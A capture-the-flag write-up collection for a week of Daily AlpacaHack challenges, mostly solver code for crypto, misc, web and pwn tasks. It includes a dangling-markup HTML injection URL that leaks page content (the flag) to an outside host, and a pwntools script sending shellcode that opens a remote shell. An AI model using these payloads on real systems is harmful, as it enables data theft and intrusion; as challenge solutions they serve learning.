Daily AlpacaHack Week9 (2026-1-26 ~ 2026-2-1)

Daily AlpacaHack の Writeup.
(2026/1/26 - 2026/2/1)

後から解いたものなど含むまとめ.

git gc (Misc, 2026/1/26)

75a6ad9f0abe942df11f90b58f175d553c23c101 commit 243 152 12
c0bf20c191a250522fc742093ff920243346f578 commit 69 81 164 1 75a6ad9f0abe942df11f90b58f175d553c23c101
4b825dc642cb6eb9a060e54bf8d69288fbee4904 tree   0 9 245
1b44243c75077537d74f00aacbc930f2c7283b93 tree   36 47 254
4c820f244ddd11f3286edfb63ac9d1537a3f2cb3 blob   36 46 301
non delta: 4 objects
chain length = 1: 1 object
./.git/objects/pack/pack-ebbdb822825c78b455c249b53ada135b408e75a1.pack: ok
        

ToyPQC (Crypto, 2026/1/27)

$$As + e = b$$

from itertools import product

n = 7
m = 10
p = 8380417
F = GF(p)

A = matrix(F, [[978223, 4103264, 2434930, 67809, 6689879, 8055109, 7358908], [704310, 752283, 1297100, 5467548, 2062034, 1748259, 393695], [2137404, 1207017, 4202172, 7586405, 8338363, 66015, 2477572], [2415274, 3971353, 4875079, 5152330, 5802762, 6727030, 3467171], [120474, 8076081, 4913437, 7056765, 4114904, 165323, 7714928], [57003, 259088, 6290590, 6813182, 7431019, 54935, 6547376], [5714777, 1965973, 3869597, 6806257, 3429400, 7138992, 2684187], [902807, 5735163, 4236221, 7359799, 7035051, 5481646, 3562173], [681907, 1263527, 4069317, 233811, 608502, 2907035, 625938], [2993255, 2217495, 6923674, 1947351, 3575140, 3447543, 5071692]])
b = vector(F, [4564535, 3088331, 4021737, 2387590, 7844407, 3965605, 7334578, 356862, 1345100, 2445644])

solutions = []

for bits in product([0,1], repeat=m):
    e_vec = vector(F, bits)
    
    y = b - e_vec
    
    try:
        s_candidate = A.solve_right(y)
        
        solutions.append((e_vec, s_candidate))
    except ValueError:
        pass
    
for e_sol, s_sol in solutions:
    print("flag candidate:", s_sol)
        

No JS (Web, 2026/1/28)

    <p>Hello [[username]]!</p>
    <p>Your flag is here: [[flag]]</p>
        
http://web:3000/?username=<img src="https%3A//targetsite.com%3Fc%3D
        

shellcode-101 (Pwn, 2026/1/29)

from pwn import *

context.binary = "./chal"

_, host, port = "nc 34.170.146.252 29682".split()
sh = remote(host, port)

prompt = sh.recvuntil("Alpaca> ".encode())
print(prompt.decode())

sc = asm(shellcraft.sh())
sh.sendline(sc)

sh.interactive()
        

Linear Coffee Generator (Crypto, 2026/1/30)

$$s_{n+1} \equiv a s_n + b \mod p$$

$$(s_{n+2} - s_{n+1}) \equiv a(s_{n+1} - s_n) \mod p$$

$$(s_{4} - s_{3})(s_{2} - s_1) = (s_{3} - s_{2})^2 + kp$$

$$a \equiv (s_{3} - s_{2})(s_{2} - s_1)^{-1} \mod p$$
$$b \equiv (s_{2} - a s_1) \mod p$$
$$s_0 \equiv (s_1 - b) a^{-1} \mod p$$

import os
import hashlib
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from sympy.ntheory import factorint

# You don't need to focus on encrypt_flag/decrypt_flag :)
def encrypt_flag(pt, params):
    key = hashlib.sha256(str(params).encode()).digest()
    cipher = AES.new(key, AES.MODE_CBC)
    return cipher.iv + cipher.encrypt(pad(pt, 16))

def decrypt_flag(ct, params):
    key = hashlib.sha256(str(params).encode()).digest()
    cipher = AES.new(key, AES.MODE_CBC, iv=ct[:16])
    return unpad(cipher.decrypt(ct[16:]), 16)

with open("./output.txt", "r") as f:
    lines = f.readlines()
    cof1, cof2, cof3, cof4, = [int(x.split()[-1].strip()) for x in lines[:-1]]
    enc_flag = lines[-1].split()[-1].strip()

coffee = [cof1, cof2, cof3, cof4]

pk = abs((cof4 - cof3)*(cof2 - cof1) - (cof3 - cof2)**2)

print(pk)

fact_p = factorint(pk)

p = max(fact_p.keys())

a = ((cof3 - cof2) * inverse((cof2 - cof1), p)) % p
b = (cof2 - cof1 * a) % p
s = (cof1 - b) * inverse(a, p) % p

flag = decrypt_flag(bytes.fromhex(enc_flag), (p, a, b, s))
print(flag)
        

optimal-sort (Misc, 2026/1/31)

def swap(xs: list[int], i: int, j: int):
    if i == j:
        return
    xs[i] ^= xs[j]
    xs[j] ^= xs[i]
    xs[i] ^= xs[j]
        
from pwn import *

def zero_sort(sh, list_len):
    itr = 0
    while True:
        print(f"sort: {list_len}, itr: {itr}")
        prompt = sh.recvuntil("i>".encode())
        print(prompt.decode())
        
        sh.sendline(str(itr).encode())
        
        prompt = sh.recvuntil("j>".encode())
        print(prompt.decode())

        sh.sendline(str(-list_len + itr).encode())
        
        prompt = sh.recvuntil("is_sorted =".encode())
        print(prompt.decode())
        
        sort_bool = sh.recvline().decode().strip()
        if "True" in sort_bool:
            break
        itr += 1

_, host, port = "nc 34.170.146.252 26784".split()
sh = remote(host, port)

prompt = sh.recvuntil("size".encode())
print(prompt.decode())

zero_sort(sh, 10)
zero_sort(sh, 100)
zero_sort(sh, 1000)
zero_sort(sh, 2000)

sh.interactive()
        

Camelidae (Misc, 2026/2/1)